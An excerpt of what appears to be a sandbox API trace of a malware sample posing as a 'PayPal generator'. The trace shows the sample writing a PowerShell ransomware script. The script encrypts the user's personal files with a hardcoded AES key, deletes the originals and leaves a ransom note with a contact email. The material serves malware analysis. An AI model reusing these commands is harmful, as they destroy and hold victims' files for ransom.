lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Continue \r\n", lpUsedDefaultChar=0x0) returned 29 [0049.462] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0xe2d2b4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d2b4*=0x1c, lpOverlapped=0x0) returned 1 [0049.462] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.463] _close (_FileHandle=3) returned 0 [0049.463] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.463] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.463] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.463] GetFileType (hFile=0x3c) returned 0x2 [0049.463] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.463] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d4ac | out: lpMode=0xe2d4ac) returned 1 [0049.464] _dup (_FileHandle=1) returned 3 [0049.464] _close (_FileHandle=1) returned 0 [0049.464] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.464] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d48c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.464] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.464] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.464] GetFileType (hFile=0x3c) returned 0x1 [0049.464] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1413 [0049.464] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d4a4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d4a4*=0) returned 0x1412 [0049.464] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d4a8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d498, lpOverlapped=0x0 | out: lpBuffer=0xe2d4a8*, lpNumberOfBytesRead=0xe2d498*=0x1, lpOverlapped=0x0) returned 1 [0049.464] GetConsoleTitleW (in: lpConsoleTitle=0xe2d2a8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.496] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.497] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.497] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.497] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.497] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.497] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.497] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.497] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.497] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.497] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.497] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d264 | out: _Buffer=" } Finally { if($CryptoStream){$CryptoStream.Close()} \r\n") returned 72 [0049.497] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.497] GetFileType (hFile=0x3c) returned 0x1 [0049.497] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" } Finally { if($CryptoStream){$CryptoStream.Close()} \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" } Finally { if($CryptoStream){$CryptoStream.Close()} \r\n", lpUsedDefaultChar=0x0) returned 73 [0049.497] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xe2d254, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d254*=0x48, lpOverlapped=0x0) returned 1 [0049.497] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.498] _close (_FileHandle=3) returned 0 [0049.498] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.498] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.498] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.498] GetFileType (hFile=0x3c) returned 0x2 [0049.498] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.498] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d44c | out: lpMode=0xe2d44c) returned 1 [0049.501] _dup (_FileHandle=1) returned 3 [0049.501] _close (_FileHandle=1) returned 0 [0049.501] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.501] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d42c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.502] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.502] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.502] GetFileType (hFile=0x3c) returned 0x1 [0049.502] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x145b [0049.502] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d444*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d444*=0) returned 0x145a [0049.502] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d448, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d438, lpOverlapped=0x0 | out: lpBuffer=0xe2d448*, lpNumberOfBytesRead=0xe2d438*=0x1, lpOverlapped=0x0) returned 1 [0049.502] GetConsoleTitleW (in: lpConsoleTitle=0xe2d248, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.509] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.509] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.509] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.509] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.509] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.509] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.509] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.509] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.509] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.509] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.509] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d204 | out: _Buffer=" if($FileStreamReader){$FileStreamReader.Close()} \r\n") returned 68 [0049.509] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.509] GetFileType (hFile=0x3c) returned 0x1 [0049.509] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($FileStreamReader){$FileStreamReader.Close()} \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($FileStreamReader){$FileStreamReader.Close()} \r\n", lpUsedDefaultChar=0x0) returned 69 [0049.509] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0xe2d1f4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d1f4*=0x44, lpOverlapped=0x0) returned 1 [0049.510] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.510] _close (_FileHandle=3) returned 0 [0049.510] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.510] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.510] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.510] GetFileType (hFile=0x3c) returned 0x2 [0049.510] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.511] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d3ec | out: lpMode=0xe2d3ec) returned 1 [0049.513] _dup (_FileHandle=1) returned 3 [0049.513] _close (_FileHandle=1) returned 0 [0049.513] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.513] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d3cc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.514] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.514] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.514] GetFileType (hFile=0x3c) returned 0x1 [0049.514] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x149f [0049.514] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d3e4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d3e4*=0) returned 0x149e [0049.514] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d3e8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d3d8, lpOverlapped=0x0 | out: lpBuffer=0xe2d3e8*, lpNumberOfBytesRead=0xe2d3d8*=0x1, lpOverlapped=0x0) returned 1 [0049.514] GetConsoleTitleW (in: lpConsoleTitle=0xe2d1e8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.515] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.515] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.515] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.515] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.515] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.515] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.515] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.515] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.515] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.515] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.515] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d1a4 | out: _Buffer=" if($FileStreamWriter){$FileStreamWriter.Close()} } } } } \r\n") returned 80 [0049.515] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.515] GetFileType (hFile=0x3c) returned 0x1 [0049.515] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.515] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($FileStreamWriter){$FileStreamWriter.Close()} } } } } \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($FileStreamWriter){$FileStreamWriter.Close()} } } } } \r\n", lpUsedDefaultChar=0x0) returned 81 [0049.515] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xe2d194, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d194*=0x50, lpOverlapped=0x0) returned 1 [0049.516] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.516] _close (_FileHandle=3) returned 0 [0049.516] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.516] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.516] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.516] GetFileType (hFile=0x3c) returned 0x2 [0049.516] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.517] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d38c | out: lpMode=0xe2d38c) returned 1 [0049.517] _dup (_FileHandle=1) returned 3 [0049.517] _close (_FileHandle=1) returned 0 [0049.517] _wcsicmp (_String1="cry.ps1", _String2="con") returned 3 [0049.518] CreateFileW (lpFileName="cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d36c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.518] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.518] GetConsoleTitleW (in: lpConsoleTitle=0xe2d188, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.520] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.520] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.520] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.520] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.520] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.520] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.520] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.520] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.520] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.520] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.520] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d144 | out: _Buffer="Import-Module Cipher \r\n") returned 24 [0049.520] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.520] GetFileType (hFile=0x3c) returned 0x1 [0049.520] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.520] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Import-Module Cipher \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Import-Module Cipher \r\n", lpUsedDefaultChar=0x0) returned 25 [0049.521] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xe2d134, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d134*=0x18, lpOverlapped=0x0) returned 1 [0049.521] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.522] _close (_FileHandle=3) returned 0 [0049.522] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.522] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.522] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.522] GetFileType (hFile=0x3c) returned 0x2 [0049.522] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.522] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d32c | out: lpMode=0xe2d32c) returned 1 [0049.524] _dup (_FileHandle=1) returned 3 [0049.524] _close (_FileHandle=1) returned 0 [0049.524] _wcsicmp (_String1="cry.ps1", _String2="con") returned 3 [0049.524] CreateFileW (lpFileName="cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d30c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.524] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.524] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.524] GetFileType (hFile=0x3c) returned 0x1 [0049.524] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x18 [0049.524] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d324*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d324*=0) returned 0x17 [0049.524] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d328, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d318, lpOverlapped=0x0 | out: lpBuffer=0xe2d328*, lpNumberOfBytesRead=0xe2d318*=0x1, lpOverlapped=0x0) returned 1 [0049.524] GetConsoleTitleW (in: lpConsoleTitle=0xe2d128, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.525] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.525] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.525] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.525] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.525] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.525] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.525] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.525] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.525] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.525] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.526] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d0e4 | out: _Buffer="$files = get-childitem $home -recurse -Include *.gif, *.jpg, *.xls, *.doc, *.pdf, *.wav, *.ppt, *.txt, *.png, *.bmp, *.mp3, *.mp4, *.avi | where {! $_.PSIsContainer} \r\n") returned 170 [0049.526] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.526] GetFileType (hFile=0x3c) returned 0x1 [0049.526] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="$files = get-childitem $home -recurse -Include *.gif, *.jpg, *.xls, *.doc, *.pdf, *.wav, *.ppt, *.txt, *.png, *.bmp, *.mp3, *.mp4, *.avi | where {! $_.PSIsContainer} \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$files = get-childitem $home -recurse -Include *.gif, *.jpg, *.xls, *.doc, *.pdf, *.wav, *.ppt, *.txt, *.png, *.bmp, *.mp3, *.mp4, *.avi | where {! $_.PSIsContainer} \r\n", lpUsedDefaultChar=0x0) returned 171 [0049.526] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0xaa, lpNumberOfBytesWritten=0xe2d0d4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d0d4*=0xaa, lpOverlapped=0x0) returned 1 [0049.526] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.526] _close (_FileHandle=3) returned 0 [0049.526] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.527] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.527] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.527] GetFileType (hFile=0x3c) returned 0x2 [0049.527] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.527] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d2cc | out: lpMode=0xe2d2cc) returned 1 [0049.528] _dup (_FileHandle=1) returned 3 [0049.528] _close (_FileHandle=1) returned 0 [0049.528] _wcsicmp (_String1="cry.ps1", _String2="con") returned 3 [0049.528] CreateFileW (lpFileName="cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d2ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.528] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.528] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.528] GetFileType (hFile=0x3c) returned 0x1 [0049.528] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc2 [0049.528] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d2c4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d2c4*=0) returned 0xc1 [0049.528] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d2c8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d2b8, lpOverlapped=0x0 | out: lpBuffer=0xe2d2c8*, lpNumberOfBytesRead=0xe2d2b8*=0x1, lpOverlapped=0x0) returned 1 [0049.528] GetConsoleTitleW (in: lpConsoleTitle=0xe2d0c8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.529] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.529] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.529] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.529] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.529] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.529] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.529] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.529] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.529] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.529] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.529] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d084 | out: _Buffer="foreach ($file in $files) { Protect-File $file -Algorithm AES -KeyAsPlainText YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTA2M2I= -Suffix '.locked' -RemoveSource } \r\n") returned 160 [0049.529] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.529] GetFileType (hFile=0x3c) returned 0x1 [0049.529] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.529] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="foreach ($file in $files) { Protect-File $file -Algorithm AES -KeyAsPlainText YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTA2M2I= -Suffix '.locked' -RemoveSource } \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="foreach ($file in $files) { Protect-File $file -Algorithm AES -KeyAsPlainText YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTA2M2I= -Suffix '.locked' -RemoveSource } \r\n", lpUsedDefaultChar=0x0) returned 161 [0049.530] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0xe2d074, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d074*=0xa0, lpOverlapped=0x0) returned 1 [0049.530] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.530] _close (_FileHandle=3) returned 0 [0049.530] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.530] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.530] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.530] GetFileType (hFile=0x3c) returned 0x2 [0049.530] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.530] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d26c | out: lpMode=0xe2d26c) returned 1 [0049.531] _dup (_FileHandle=1) returned 3 [0049.531] _close (_FileHandle=1) returned 0 [0049.531] _wcsicmp (_String1="cry.ps1", _String2="con") returned 3 [0049.531] CreateFileW (lpFileName="cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d24c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.532] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.532] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.532] GetFileType (hFile=0x3c) returned 0x1 [0049.532] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x162 [0049.532] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d264*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d264*=0) returned 0x161 [0049.532] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d268, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d258, lpOverlapped=0x0 | out: lpBuffer=0xe2d268*, lpNumberOfBytesRead=0xe2d258*=0x1, lpOverlapped=0x0) returned 1 [0049.532] GetConsoleTitleW (in: lpConsoleTitle=0xe2d068, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.533] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.533] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.533] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.533] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.533] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.533] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.533] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.533] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.533] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.533] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.533] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d024 | out: _Buffer=" echo 'Your personal files have been encrypted, send an email to pay.ransom@protonmail.com to recover them. Your ID: 9a74-e2cf-ca12' > $home\\Desktop\\Readme_now.txt \r\n") returned 167 [0049.533] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.533] GetFileType (hFile=0x3c) returned 0x1 [0049.534] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.534] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" echo 'Your personal files have been encrypted, send an email to pay.ransom@protonmail.com to recover them. Your ID: 9a74-e2cf-ca12' > $home\\Desktop\\Readme_now.txt \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" echo 'Your personal files have been encrypted, send an email to pay.ransom@protonmail.com to recover them. Your ID: 9a74-e2cf-ca12' > $home\\Desktop\\Readme_now.txt \r\n", lpUsedDefaultChar=0x0) returned 168 [0049.534] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0xa7, lpNumberOfBytesWritten=0xe2d014, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d014*=0xa7, lpOverlapped=0x0) returned 1 [0049.534] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.534] _close (_FileHandle=3) returned 0 [0049.534] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.534] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.534] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.534] GetFileType (hFile=0x3c) returned 0x2 [0049.535] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.535] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d20c | out: lpMode=0xe2d20c) returned 1 [0049.536] _dup (_FileHandle=1) returned 3 [0049.536] _close (_FileHandle=1) returned 0 [0049.536] _wcsicmp (_String1="cry.ps1", _String2="con") returned 3 [0049.536] CreateFileW (lpFileName="cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d1ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.536] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.536] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.536] GetFileType (hFile=0x3c) returned 0x1 [0049.536] GetFileSize (in: hFile=0x3c, 